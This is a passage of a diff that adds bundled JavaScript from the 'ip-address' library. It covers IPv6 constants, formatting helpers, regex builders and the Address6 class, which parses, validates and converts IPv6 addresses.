128; + exports.GROUPS = 8; + exports.SCOPES = { + 0: "Reserved", + 1: "Interface local", + 2: "Link local", + 4: "Admin local", + 5: "Site local", + 8: "Organization local", + 14: "Global", + 15: "Reserved" + }; + exports.TYPES = { + "ff01::1/128": "Multicast (All nodes on this interface)", + "ff01::2/128": "Multicast (All routers on this interface)", + "ff02::1/128": "Multicast (All nodes on this link)", + "ff02::2/128": "Multicast (All routers on this link)", + "ff05::2/128": "Multicast (All routers in this site)", + "ff02::5/128": "Multicast (OSPFv3 AllSPF routers)", + "ff02::6/128": "Multicast (OSPFv3 AllDR routers)", + "ff02::9/128": "Multicast (RIP routers)", + "ff02::a/128": "Multicast (EIGRP routers)", + "ff02::d/128": "Multicast (PIM routers)", + "ff02::16/128": "Multicast (MLDv2 reports)", + "ff01::fb/128": "Multicast (mDNSv6)", + "ff02::fb/128": "Multicast (mDNSv6)", + "ff05::fb/128": "Multicast (mDNSv6)", + "ff02::1:2/128": "Multicast (All DHCP servers and relay agents on this link)", + "ff05::1:2/128": "Multicast (All DHCP servers and relay agents in this site)", + "ff02::1:3/128": "Multicast (All DHCP servers on this link)", + "ff05::1:3/128": "Multicast (All DHCP servers in this site)", + "::/128": "Unspecified", + "::1/128": "Loopback", + "::ffff:0:0/96": "IPv4-mapped", + "ff00::/8": "Multicast", + "fe80::/10": "Link-local unicast", + "fc00::/7": "Unique local", + "2001::/32": "Teredo", + "2001:2::/48": "Benchmarking", + "2002::/16": "6to4", + "2001:db8::/32": "Documentation", + "3fff::/20": "Documentation", + "100::/64": "Discard-only", + "fec0::/10": "Site-local unicast (deprecated)", + "::/96": "IPv4-compatible (deprecated)", + "64:ff9b::/96": "NAT64 (well-known)", + "64:ff9b:1::/48": "NAT64 (local-use)" + }; + exports.RE_BAD_CHARACTERS = /([^0-9a-f:/%])/gi; + exports.RE_BAD_ADDRESS = /([0-9a-f]{5,}|:{3,}|[^:]:$|^:[^:]|\/$)/gi; + exports.RE_SUBNET_STRING = /\/\d{1,3}(?=%|$)/; + exports.RE_ZONE_STRING = /%.*$/; + exports.RE_URL = /^(?:\[([0-9a-f:.]+)\]|([0-9a-f:.]+))(?:[/?#].*)?$/i; + exports.RE_URL_WITH_PORT = /^\[([0-9a-f:.]+)\]:([0-9]{1,5})(?:[/?#].*)?$/i; + exports.SPECIAL_PURPOSE = [ + ["::1/128", "Loopback Address", false], + ["::/128", "Unspecified Address", false], + ["::ffff:0:0/96", "IPv4-mapped Address", false], + ["64:ff9b::/96", "IPv4-IPv6 Translat.", true], + ["64:ff9b:1::/48", "IPv4-IPv6 Translat.", false], + ["100::/64", "Discard-Only Address Block", false], + ["100:0:0:1::/64", "Dummy IPv6 Prefix", false], + ["2001::/23", "IETF Protocol Assignments", false], + ["2001::/32", "TEREDO", false], + ["2001:1::1/128", "Port Control Protocol Anycast", true], + ["2001:1::2/128", "Traversal Using Relays around NAT Anycast", true], + ["2001:1::3/128", "DNS-SD Service Registration Protocol Anycast", true], + ["2001:2::/48", "Benchmarking", false], + ["2001:3::/32", "AMT", true], + ["2001:4:112::/48", "AS112-v6", true], + ["2001:10::/28", "Deprecated (previously ORCHID)", null], + ["2001:20::/28", "ORCHIDv2", true], + ["2001:30::/28", "Drone Remote ID Protocol Entity Tags (DETs) Prefix", true], + ["2001:db8::/32", "Documentation", false], + ["2002::/16", "6to4", false], + ["2620:4f:8000::/48", "Direct Delegation AS112 Service", true], + ["3fff::/20", "Documentation", false], + ["5f00::/16", "Segment Routing (SRv6) SIDs", false], + ["fc00::/7", "Unique-Local", false], + ["fe80::/10", "Link-Local Unicast", false] + ]; + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v6/helpers.js +var require_helpers = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v6/helpers.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.escapeHtml = escapeHtml; + exports.spanAllZeroes = spanAllZeroes; + exports.spanAll = spanAll; + exports.spanLeadingZeroes = spanLeadingZeroes; + exports.simpleGroup = simpleGroup; + function escapeHtml(s) { + return s.replace(/&/g, "&").replace(//g, ">").replace(/"/g, """).replace(/'/g, "'"); + } + function spanAllZeroes(s) { + return escapeHtml(s).replace(/(0+)/g, '$1'); + } + function spanAll(s, offset = 0) { + const letters = s.split(""); + return letters.map((n, i) => `${spanAllZeroes(n)}`).join(""); + } + function spanLeadingZeroesSimple(group) { + return escapeHtml(group).replace(/^(0+)/, '$1'); + } + function spanLeadingZeroes(address) { + const groups = address.split(":"); + return groups.map((g) => spanLeadingZeroesSimple(g)).join(":"); + } + function simpleGroup(addressString, offset = 0) { + const groups = addressString.split(":"); + return groups.map((g, i) => { + if (/group-v4/.test(g)) { + return g; + } + return `${spanLeadingZeroesSimple(g)}`; + }); + } + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v6/regular-expressions.js +var require_regular_expressions = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/v6/regular-expressions.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + var desc2 = Object.getOwnPropertyDescriptor(m, k); + if (!desc2 || ("get" in desc2 ? !m.__esModule : desc2.writable || desc2.configurable)) { + desc2 = { enumerable: true, get: function() { + return m[k]; + } }; + } + Object.defineProperty(o, k2, desc2); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.ADDRESS_BOUNDARY = void 0; + exports.groupPossibilities = groupPossibilities; + exports.padGroup = padGroup; + exports.simpleRegularExpression = simpleRegularExpression; + exports.possibleElisions = possibleElisions; + var v6 = __importStar(require_constants3()); + function groupPossibilities(possibilities) { + return `(${possibilities.join("|")})`; + } + function padGroup(group) { + if (group.length < 4) { + return `0{0,${4 - group.length}}${group}`; + } + return group; + } + exports.ADDRESS_BOUNDARY = "[^A-Fa-f0-9:]"; + function simpleRegularExpression(groups) { + const zeroIndexes = []; + groups.forEach((group, i) => { + const groupInteger = parseInt(group, 16); + if (groupInteger === 0) { + zeroIndexes.push(i); + } + }); + const possibilities = zeroIndexes.map((zeroIndex) => groups.map((group, i) => { + if (i === zeroIndex) { + const elision = i === 0 || i === v6.GROUPS - 1 ? ":" : ""; + return groupPossibilities([padGroup(group), elision]); + } + return padGroup(group); + }).join(":")); + possibilities.push(groups.map(padGroup).join(":")); + return groupPossibilities(possibilities); + } + function possibleElisions(elidedGroups, moreLeft, moreRight) { + const left = moreLeft ? "" : ":"; + const right = moreRight ? "" : ":"; + const possibilities = []; + if (!moreLeft && !moreRight) { + possibilities.push("::"); + } + if (moreLeft && moreRight) { + possibilities.push(""); + } + if (moreRight && !moreLeft || !moreRight && moreLeft) { + possibilities.push(":"); + } + possibilities.push(`${left}(:0{1,4}){1,${elidedGroups - 1}}`); + possibilities.push(`(0{1,4}:){1,${elidedGroups - 1}}${right}`); + possibilities.push(`(0{1,4}:){${elidedGroups - 1}}0{1,4}`); + for (let groups = 1; groups < elidedGroups - 1; groups++) { + for (let position = 1; position < elidedGroups - groups; position++) { + possibilities.push(`(0{1,4}:){${position}}:(0{1,4}:){${elidedGroups - position - groups - 1}}0{1,4}`); + } + } + return groupPossibilities(possibilities); + } + } +}); + +// node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/ipv6.js +var require_ipv6 = __commonJS({ + "node_modules/.pnpm/ip-address@10.7.2/node_modules/ip-address/dist/ipv6.js"(exports) { + "use strict"; + var __createBinding = exports && exports.__createBinding || (Object.create ? function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + var desc2 = Object.getOwnPropertyDescriptor(m, k); + if (!desc2 || ("get" in desc2 ? !m.__esModule : desc2.writable || desc2.configurable)) { + desc2 = { enumerable: true, get: function() { + return m[k]; + } }; + } + Object.defineProperty(o, k2, desc2); + } : function(o, m, k, k2) { + if (k2 === void 0) k2 = k; + o[k2] = m[k]; + }); + var __setModuleDefault = exports && exports.__setModuleDefault || (Object.create ? function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); + } : function(o, v) { + o["default"] = v; + }); + var __importStar = exports && exports.__importStar || function(mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) { + for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + } + __setModuleDefault(result, mod); + return result; + }; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.Address6 = void 0; + var common = __importStar(require_common()); + var constants4 = __importStar(require_constants2()); + var constants6 = __importStar(require_constants3()); + var helpers = __importStar(require_helpers()); + var ipv4_1 = require_ipv4(); + var regular_expressions_1 = require_regular_expressions(); + var address_error_1 = require_address_error(); + var common_1 = require_common(); + var isCorrect6 = common.isCorrect(constants6.BITS); + function assert2(condition) { + if (!condition) { + throw new Error("Assertion failed."); + } + } + function addCommas(number4) { + const r = /(\d+)(\d{3})/; + while (r.test(number4)) { + number4 = number4.replace(r, "$1,$2"); + } + return number4; + } + function spanLeadingZeroes4(n) { + n = n.replace(/^(0{1,})([1-9]+)$/, '$1$2'); + n = n.replace(/^(0{1,})(0)$/, '$1$2'); + return n; + } + function compact(address, slice) { + const s1 = []; + const s2 = []; + let i; + for (i = 0; i < address.length; i++) { + if (i < slice[0]) { + s1.push(address[i]); + } else if (i > slice[1]) { + s2.push(address[i]); + } + } + return s1.concat(["compact"]).concat(s2); + } + function paddedHex(octet) { + return parseInt(octet, 16).toString(16).padStart(4, "0"); + } + function unsignByte(b2) { + return b2 & 255; + } + var Address6 = class _Address6 { + constructor(address, optionalGroups) { + this.addressMinusSuffix = ""; + this.parsedSubnet = ""; + this.subnet = "/128"; + this.subnetMask = 128; + this.v4 = false; + this.zone = ""; + this.isInSubnet = common.isInSubnet; + this.isHostInSubnet = common.isHostInSubnet; + this.isCorrect = isCorrect6; + if (optionalGroups === void 0) { + this.groups = constants6.GROUPS; + } else { + this.groups = optionalGroups; + } + this.address = address; + const subnet = constants6.RE_SUBNET_STRING.exec(address); + if (subnet) { + this.parsedSubnet = subnet[0].replace("/", ""); + this.subnetMask = parseInt(this.parsedSubnet, 10); + this.subnet = `/${this.subnetMask}`; + if (Number.isNaN(this.subnetMask) || this.subnetMask < 0 || this.subnetMask > constants6.BITS) { + throw new address_error_1.AddressError("Invalid subnet mask."); + } + address = address.replace(constants6.RE_SUBNET_STRING, ""); + } + if (/\//.test(address)) { + throw new address_error_1.AddressError("Invalid subnet mask."); + } + const zone = constants6.RE_ZONE_STRING.exec(address); + if (zone) { + this.zone = zone[0]; + address = address.replace(constants6.RE_ZONE_STRING, ""); + } + const longest = this.groups * 5 + 5; + if (address.length > longest) { + throw new address_error_1.AddressError(`IPv6 addresses are at most ${longest} characters.`); + } + this.addressMinusSuffix = address; + this.parsedAddress = this.parse(this.addressMinusSuffix); + } + /** + * Returns true if the given string is a valid IPv6 address (with optional + * CIDR subnet and zone identifier), false otherwise. Host bits in the + * subnet portion are allowed (e.g. `2001:db8::1/32` is valid); for strict + * network-address validation compare `correctForm()` to + * `startAddress().correctForm()`, or use `networkForm()`. + */ + static isValid(address) { + try { + new _Address6(address); + return true; + } catch { + return false; + } + } + /** + * Convert a BigInt to a v6 address object. The value must be in the + * range `[0, 2**128 - 1]`; otherwise `AddressError` is thrown. + * @param {bigint} bigInt - a BigInt to convert + * @returns {Address6} + * @example + * var bigInt = BigInt('1000000000000'); + * var address = Address6.fromBigInt(bigInt); + * address.correctForm(); // '::e8:d4a5:1000' + */ + static fromBigInt(bigInt) { + if (bigInt < BigInt(0) || bigInt > (BigInt(1) << BigInt(constants6.BITS)) - BigInt(1)) { + throw new address_error_1.AddressError("IPv6 BigInt must be in the range 0 to 2**128 - 1"); + } + const hex3 = bigInt.toString(16).padStart(32, "0"); + const groups = []; + for (let i = 0; i < constants6.GROUPS; i++) { + groups.push(hex3.slice(i * 4, (i + 1) * 4)); + } + return new _Address6(groups.join(":")); + } + /** + * Parse a URL (with optional bracketed host and port) into an address and + * port. Returns either `{ address, port }` on success or + * `{ error, address: null, port: null }` if the URL could not be parsed. + * Ports are returned as numbers (or `null` if absent or out of range). + * @example + * var addressAndPort = Address6.fromURL('http://[ffff::]:8080/foo/'); + * addressAndPort.address.correctForm(); // 'ffff::' + * addressAndPort.port; // 8080 + */ + static fromURL(url2) { + var _a3; + let host; + let port = null; + let result; + let error51; + const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); + if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { + error51 = "failed to parse address with port"; + result = constants6.RE_URL_WITH_PORT.exec(stripped); + if (result === null) { + return { error: error51, address: null, port: null }; + } + host = result[1]; + port = result[2]; + } else { + error51 = "failed to parse address from URL"; + result = constants6.RE_URL.exec(stripped); + if (result === null) { + return { error: error51, address: null, port: null }; + } + host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; + } + if (port) { + port = parseInt(port, 10); + if (port < 0 || port > 65535) { + port = null; + } + } else { + port = null; + } + let address; + try { + address = new _Address6(host); + } catch { + return { error: error51, address: null, port: null }; + } + return { address, port }; + } + /** + * Construct an `Address6` from an address and a hex subnet mask given as + * separate strings (e.g. as returned by Node's `os.networkInterfaces()`). + * Throws `AddressError` if the mask is non-contiguous (e.g. + * `ffff::ffff`). + * @example + * var address = Address6.fromAddressAndMask('fe80::1', 'ffff:ffff:ffff:ffff::'); + * address.subnetMask; // 64 + */ + static fromAddressAndMask(address, mask) { + const bits = common.prefixLengthFromMask(new _Address6(mask).bigInt(), constants6.BITS); + return new _Address6(`${address}/${bits}`); + } + /** + * Construct an `Address6` from an address and a Cisco-style wildcard mask + * given as separate strings (e.g. `::ffff:ffff:ffff:ffff` for a `/64`). + * The wildcard mask is the bitwise inverse of the subnet mask. Throws + * `AddressError` if the mask is non-contiguous. + * @example + * var address = Address6.fromAddressAndWildcardMask('fe80::1', '::ffff:ffff:ffff:ffff'); + * address.subnetMask; // 64 + */ + static fromAddressAndWildcardMask(address, wildcardMask) { + const wildcard = new _Address6(wildcardMask).bigInt(); + const allOnes = (BigInt(1) << BigInt(constants6.BITS)) - BigInt(1); + const mask = wildcard ^ allOnes; + const bits = common.prefixLengthFromMask(mask, constants6.BITS); + return new _Address6(`${address}/${bits}`); + } + /** + * Construct an `Address6` from a wildcard pattern with trailing `*` + * groups. The number of trailing wildcards determines the prefix + * length: each `*` represents 16 bits. `::` is expanded to zero groups + * (not wildcards) before evaluating trailing wildcards. + * + * Only trailing whole-group wildcards are supported. Partial-group + * wildcards (e.g. `2001:db8::0*`) and interior wildcards (e.g. + * `*::1`) throw `AddressError`. + * @example + * Address6.fromWildcard('2001:db8:*:*:*:*:*:*').subnet; // '/32' + * Address6.fromWildcard('2001:db8::*').subnet; // '/112' + * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' + */ + static fromWildcard(input) { + if (input.includes("%") || input.includes("/")) { + throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); + } + const halves = input.split("::"); + if (halves.length > 2) { + throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); + } + let groups; + if (halves.length === 2) { + const left = halves[0] === "" ? [] : halves[0].split(":"); + const right = halves[1] === "" ? [] : halves[1].split(":"); + const remaining = constants6.GROUPS - left.length - right.length; + if (remaining < 1) { + throw new address_error_1.AddressError("Wildcard pattern with '::' has too many groups"); + } + groups = [...left, ...new Array(remaining).fill("0"), ...right]; + } else { + groups = input.split(":"); + } + if (groups.length !== constants6.GROUPS) { + throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); + } + let firstWildcard = -1; + for (let i = 0; i < groups.length; i++) { + if (groups[i] === "*") { + if (firstWildcard === -1) { + firstWildcard = i; + } + } else if (firstWildcard !== -1) { + throw new address_error_1.AddressError("Wildcard `*` must only appear in trailing groups (e.g. `2001:db8:*:*:*:*:*:*`)"); + } + } + const trailing = firstWildcard === -1 ? 0 : groups.length - firstWildcard; + const replaced = groups.map((g) => g === "*" ? "0" : g); + const subnetBits = constants6.BITS - trailing * 16; + return new _Address6(`${replaced.join(":")}/${subnetBits}`); + } + /** + * Create an IPv6-mapped address given an IPv4 address + * @param {string} address - An IPv4 address string + * @returns {Address6} + * @example + * var address = Address6.fromAddress4('192.168.0.1'); + * address.correctForm(); // '::ffff:c0a8:1' + * address.to4in6(); // '::ffff:192.168.0.1' + */ + static fromAddress4(address) { + const address4 = new ipv4_1.Address4(address); + const mask6 = constants6.BITS - (constants4.BITS - address4.subnetMask); + return new _Address6(`::ffff:${address4.correctForm()}/${mask6}`); + } + /** + * Return an address from ip6.arpa form. A full 32-nibble name gives a /128 + * address; a shorter name, as used for a delegated reverse zone, gives the + * network it covers, with a subnet mask of four bits per nibble, so + * `fromArpa(x.reverseForm())` round-trips {@link reverseForm} for any prefix. + * @param {string} arpaFormAddress - an 'ip6.arpa' form address + * @returns {Adress6} + * @example + * var address = Address6.fromArpa(e.f.f.f.3.c.2.6.f.f.f.e.6.6.8.e.1.0.6.7.9.4.e.c.0.0.0.0.1.0.0.2.ip6.arpa.) + * address.correctForm(); // '2001:0:ce49:7601:e866:efff:62c3:fffe' + * Address6.fromArpa('8.b.d.0.1.0.0.2.ip6.arpa.').networkForm(); // '2001:db8::/32' + */ + static fromArpa(arpaFormAddress) { + const nibbles = arpaFormAddress.replace(/(\.ip6\.arpa)?\.?$/i, ""); + if (!/^[0-9a-f](\.[0-9a-f]){0,31}$/i.test(nibbles)) { + throw new address_error_1.AddressError("Invalid 'ip6.arpa' form."); + } + const reversed = nibbles.split(".").reverse(); + const subnetMask = reversed.length * 4; + const hex3 = reversed.join("").padEnd(32, "0"); + const groups = []; + for (let i = 0; i < constants6.GROUPS; i++) { + groups.push(hex3.slice(i * 4, (i + 1) * 4)); + } + return new _Address6(`${groups.join(":")}/${subnetMask}`); + } + /** + * Return the Microsoft UNC transcription of the address + * @returns {String} the Microsoft UNC transcription of the address + */ + microsoftTranscription() { + return `${this.correctForm().replace(/:/g, "-")}.ipv6-literal.net`; + } + /** + * Return the first n bits of the address, defaulting to the subnet mask + * @param {number} [mask=subnet] - the number of bits to mask + * @returns {String} the first n bits of the address as a string + */ + mask(mask = this.subnetMask) { + return this.getBitsBase2(0, mask); + } + /** + * Return the number of possible subnets of a given size in the address + * @param {number} [subnetSize=128] - the subnet size + * @returns {String} + */ + // TODO: probably useful to have a numeric version of this too + possibleSubnets(subnetSize = 128) { + const availableBits = constants6.BITS - this.subnetMask; + const subnetBits = Math.abs(subnetSize - constants6.BITS); + const subnetPowers = availableBits - subnetBits; + if (subnetPowers < 0) { + return "0"; + } + return addCommas((BigInt("2") ** BigInt(subnetPowers)).toString(10)); + } + /** + * Helper function getting start address. + * @returns {bigint} + */ + _startAddress() { + return BigInt(`0b${this.mask() + "0".repeat(constants6.BITS - this.subnetMask)}`); + } + /** + * The first address in the range given by this address' subnet + * Often referred to as the Network Address. + * @returns {Address6} + */ + startAddress() { + return _Address6.fromBigInt(this._startAddress()); + } + /** + * The first host address in the range given by this address's subnet ie + * the first address after the Network Address + * @returns {Address6} + */ + startAddressExclusive() { + const adjust = BigInt("1"); + return _Address6.fromBigInt(this._startAddress() + adjust); + } + /** + * Helper function getting end address. + * @returns {bigint} + */ + _endAddress() { + return BigInt(`0b${this.mask() + "1".repeat(constants6.BITS - this.subnetMask)}`); + } + /** + * The last address in the range given by this address's subnet. IPv6 has + * no broadcast address, so this is an ordinary assignable address (in a + * 64-bit-interface-identifier subnet it falls inside the reserved + * subnet-anycast block of [RFC 2526](https://datatracker.ietf.org/doc/html/rfc2526)). + * @returns {Address6} + */ + endAddress() { + return _Address6.fromBigInt(this._endAddress()); + } + /** + * The address one before {@link endAddress}. This is the IPv6 counterpart + * of the IPv4 method that skips the broadcast address; IPv6 has no broadcast, + * so it drops exactly one address and does not model the 128 reserved + * subnet-anycast identifiers of [RFC 2526](https://datatracker.ietf.org/doc/html/rfc2526). + * @returns {Address6} + */ + endAddressExclusive() { + const adjust = BigInt("1"); + return _Address6.fromBigInt(this._endAddress() - adjust); + } + /** + * Returns the address `n` addresses after this one (or before, when `n` is + * negative), keeping this address's subnet mask. Throws `AddressError` when + * the result would fall outside the IPv6 address space or `n` is not an + * integer. + * @param {number | bigint} n + * @returns {Address6} + * @example + * new Address6('2001:db8::/64').offset(1).correctForm(); // '2001:db8::1' + */ + offset(n) { + return _Address6.fromBigInt(common.offsetBigInt(this.bigInt(), n, constants6.BITS, "IPv6")).withSubnetMask(this.subnetMask); + } + /** + * Returns the network that follows this address's network: the address after + * {@link endAddress}, with the same subnet mask. Throws `AddressError` when + * this network is the last one in the address space. + * @returns {Address6} + * @example + * new Address6('2001:db8::/64').nextNetwork().networkForm(); // '2001:db8:0:1::/64' + */ + nextNetwork() { + return _Address6.fromBigInt(common.offsetBigInt(this._endAddress(), 1, constants6.BITS, "IPv6")).withSubnetMask(this.subnetMask); + } + withSubnetMask(subnetMask) { + return new _Address6(`${this.correctForm()}/${subnetMask}`); + } + /** + * The hex form of the subnet mask, e.g. `ffff:ffff:ffff:ffff::` for a + * `/64`. Returns an `Address6`; call `.correctForm()` for the string. + * @returns {Address6} + */ + subnetMaskAddress() { + return _Address6.fromBigInt(BigInt(`0b${"1".repeat(this.subnetMask)}${"0".repeat(constants6.BITS - this.subnetMask)}`)); + } + /** + * The Cisco-style wildcard mask, e.g. `::ffff:ffff:ffff:ffff` for a + * `/64`. This is the bitwise inverse of `subnetMaskAddress()`. Returns + * an `Address6`; call `.correctForm()` for the string. + * @returns {Address6} + */ + wildcardMask() { + return _Address6.fromBigInt(BigInt(`0b${"0".repeat(this.subnetMask)}${"1".repeat(constants6.BITS - this.subnetMask)}`)); + } + /** + * The network address in CIDR string form, e.g. `2001:db8::/32` for + * `2001:db8::1/32`. For an address with no explicit subnet the prefix + * is `/128`, e.g. `networkForm()` on `2001:db8::1` returns + * `2001:db8::1/128`. + * @returns {string} + */ + networkForm() { + return `${this.startAddress().correctForm()}/${this.subnetMask}`; + } + /** + * Return the scope of the address. The 4-bit scope field + * ([RFC 4291 §2.7](https://datatracker.ietf.org/doc/html/rfc4291#section-2.7)) + * is only defined for multicast addresses; for unicast addresses the scope + * is derived from the address type per + * [RFC 4007 §6](https://datatracker.ietf.org/doc/html/rfc4007#section-6). + * @returns {String} + */ + getScope() { + const type = this.getType(); + if (type === "Multicast" || type.startsWith("Multicast ")) { + const scope = constants6.SCOPES[parseInt(this.getBits(12, 16).toString(10), 10)]; + return scope || "Unknown"; + } + if (type === "Link-local unicast" || type === "Loopback") { + return "Link local"; + } + if (type === "Unspecified") { + return "Unknown"; + } + return "Global"; + } + /** + * Return the type of the address + * @returns {String} + */ + getType() { + for (let i = 0; i < TYPE_SUBNETS.length; i++) { + const entry = TYPE_SUBNETS[i]; + if (this.isHostInSubnet(entry[0])) { + return entry[1]; + } + } + return "Global unicast"; + } + /** + * Return the bits in the given range as a BigInt + * @returns {bigint} + */ + getBits(start, end) { + return BigInt(`0b${this.getBitsBase2(start, end)}`); + } + /** + * Return the bits in the given range as a base-2 string + * @returns {String} + */ + getBitsBase2(start, end) { + return this.binaryZeroPad().slice(start, end); + } + /** + * Return the bits in the given range as a base-16 string + * @returns {String} + */ + getBitsBase16(start, end) { + const length = end - start; + if (length % 4 !== 0) { + throw new Error("Length of bits to retrieve must be divisible by four"); + } + return this.getBits(start, end).toString(16).padStart(length / 4, "0"); + } + /** + * Return the bits that are set past the subnet mask length + * @returns {String} + */ + getBitsPastSubnet() { + return this.getBitsBase2(this.subnetMask, constants6.BITS); + } + /** + * Return the reversed ip6.arpa form of the address + * @param {Object} options + * @param {boolean} options.omitSuffix - omit the "ip6.arpa" suffix + * @returns {String} + */ + reverseForm(options) { + if (!options) { + options = {}; + } + const characters = Math.floor(this.subnetMask / 4); + const reversed = this.canonicalForm().replace(/:/g, "").split("").slice(0, characters).reverse().join("."); + if (characters > 0) { + if (options.omitSuffix) { + return reversed; + } + return `${reversed}.ip6.arpa.`; + } + if (options.omitSuffix) { + return ""; + } + return "ip6.arpa."; + } + /** + * Returns the address in correct form, per + * [RFC 5952](https://datatracker.ietf.org/doc/html/rfc5952): leading zeros + * stripped, the longest run of zero groups collapsed to `::`, and hex digits + * lowercased (e.g. `2001:db8::1`). This is the recommended form for display. + */ + correctForm() { + let i; + let groups = []; + let zeroCounter = 0; + const zeroes = []; + for (i = 0; i < this.parsedAddress.length; i++) { + const value = parseInt(this.parsedAddress[i], 16); + if (value === 0) { + zeroCounter++; + } + if (value !== 0 && zeroCounter > 0) { + if (zeroCounter > 1) { + zeroes.push([i - zeroCounter, i - 1]); + } + zeroCounter = 0; + } + } + if (zeroCounter > 1) { + zeroes.push([this.parsedAddress.length - zeroCounter, this.parsedAddress.length - 1]); + } + const zeroLengths = zeroes.map((n) => n[1] - n[0] + 1); + if (zeroes.length > 0) { + const index2 = zeroLengths.indexOf(Math.max(...zeroLengths)); + groups = compact(this.parsedAddress, zeroes[index2]); + } else { + groups = this.parsedAddress; + } + for (i = 0; i < groups.length; i++) { + if (groups[i] !== "compact") { + groups[i] = parseInt(groups[i], 16).toString(16); + } + } + let correct = groups.join(":"); + correct = correct.replace(/^compact$/, "::"); + correct = correct.replace(/(^compact)|(compact$)/, ":"); + correct = correct.replace(/compact/, ""); + return correct; + } + /** + * Return a zero-padded base-2 string representation of the address + * @returns {String} + * @example + * var address = new Address6('2001:4860:4001:803::1011'); + * address.binaryZeroPad(); + * // '0010000000000001010010000110000001000000000000010000100000000011 + * // 0000000000000000000000000000000000000000000000000001000000010001' + */ + binaryZeroPad() { + if (this._binaryZeroPad === void 0) { + this._binaryZeroPad = this.bigInt().toString(2).padStart(constants6.BITS, "0"); + } + return this._binaryZeroPad; + } + /** + * Parses a v4-in-v6 string (e.g. `::ffff:192.168.0.1`) by extracting the + * trailing IPv4 address into `this.address4` / `this.parsedAddress4` and + * returning the address with the v4 portion converted to two v6 groups. + * Used internally by `parse()`. + */ + // TODO: Improve the semantics of this helper function + parse4in6(address) { + if (address.indexOf(".") === -1) { + return address; + } + const groups = address.split(":"); + const lastGroup = groups.slice(-1)[0]; + const v4Octets = lastGroup.split("."); + if (v4Octets.length === constants4.GROUPS && v4Octets.every((octet) => /^\d{1,3}$/.test(octet))) { + if (v4Octets.some((octet) => /^0\d/.test(octet))) { + const highlighted = v4Octets.map(spanLeadingZeroes4).join("."); + const prefix = groups.slice(0, -1).map(helpers.escapeHtml).join(":"); + const separator = groups.length > 1 ? ":" : ""; + throw new address_error_1.AddressError("IPv4 addresses can't have leading zeroes.", `${prefix}${separator}${highlighted}`); + } + } + const address4 = lastGroup.match(constants4.RE_ADDRESS); + if (address4) { + this.parsedAddress4 = address4[0]; + const v4Suffix = this.subnetMask >= 96 ? `/${this.subnetMask - 96}` : ""; + this.address4 = new ipv4_1.Address4(`${this.parsedAddress4}${v4Suffix}`); + this.v4 = true; + groups[groups.length - 1] = this.address4.toGroup6(); + address = groups.join(":"); + } + return address; + } + /** + * Parses an IPv6 address string into its 8 hexadecimal groups (expanding + * any `::` elision and any trailing v4-in-v6 portion) and stores the result + * on `this.parsedAddress`. Called automatically by the constructor; you + * typically don't need to call it directly. Throws `AddressError` if the + * input is malformed. + */ + // TODO: Make private? + parse(address) { + address = this.parse4in6(address); + const badCharacters = address.match(constants6.RE_BAD_CHARACTERS); + if (badCharacters) { + throw new address_error_1.AddressError(`Bad character${badCharacters.length > 1 ? "s" : ""} detected in address: ${badCharacters.join("")}`, address.replace(constants6.RE_BAD_CHARACTERS, '$1')); + } + const badAddress = address.match(constants6.RE_BAD_ADDRESS); + if (badAddress) { + throw new address_error_1.AddressError(`Address failed regex: ${badAddress.join("")}`, address.replace(constants6.RE_BAD_ADDRESS, '$1')); + } + let groups = []; + const halves = address.split("::"); + if (halves.length === 2) { + let first = halves[0].split(":"); + let last = halves[1].split(":"); + if (first.length === 1 && first[0] === "") { + first = []; + } + if (last.length === 1 && last[0] === "") { + last = []; + } + const remaining = this.groups - (first.length + last.length); + if (!remaining) { + throw new address_error_1.AddressError("Error parsing groups"); + } + this.elidedGroups = remaining; + this.elisionBegin = first.length; + this.elisionEnd = first.length + this.elidedGroups; + groups = groups.concat(first); + for (let i = 0; i < remaining; i++) { + groups.push("0"); + } + groups = groups.concat(last); + } else if (halves.length === 1) { + groups = address.split(":"); + this.elidedGroups = 0; + } else { + throw new address_error_1.AddressError("Too many :: groups found"); + } + groups = groups.map((group) => parseInt(group, 16).toString(16)); + if (groups.length !== this.groups) { + throw new address_error_1.AddressError("Incorrect number of groups found"); + } + return groups; + } + /** + * Returns the canonical (fully expanded) form of the address: all 8 groups, + * each padded to 4 hex digits, with no `::` collapsing + * (e.g. `2001:0db8:0000:0000:0000:0000:0000:0001`). Useful for sorting and + * byte-exact comparison. + */ + canonicalForm() { + return this.parsedAddress.map(paddedHex).join(":"); + } + /** + * Return the decimal form of the address + * @returns {String} + */ + decimal() { + return this.parsedAddress.map((n) => parseInt(n, 16).toString(10).padStart(5, "0")).join(":"); + } + /** + * Return the address as a BigInt + * 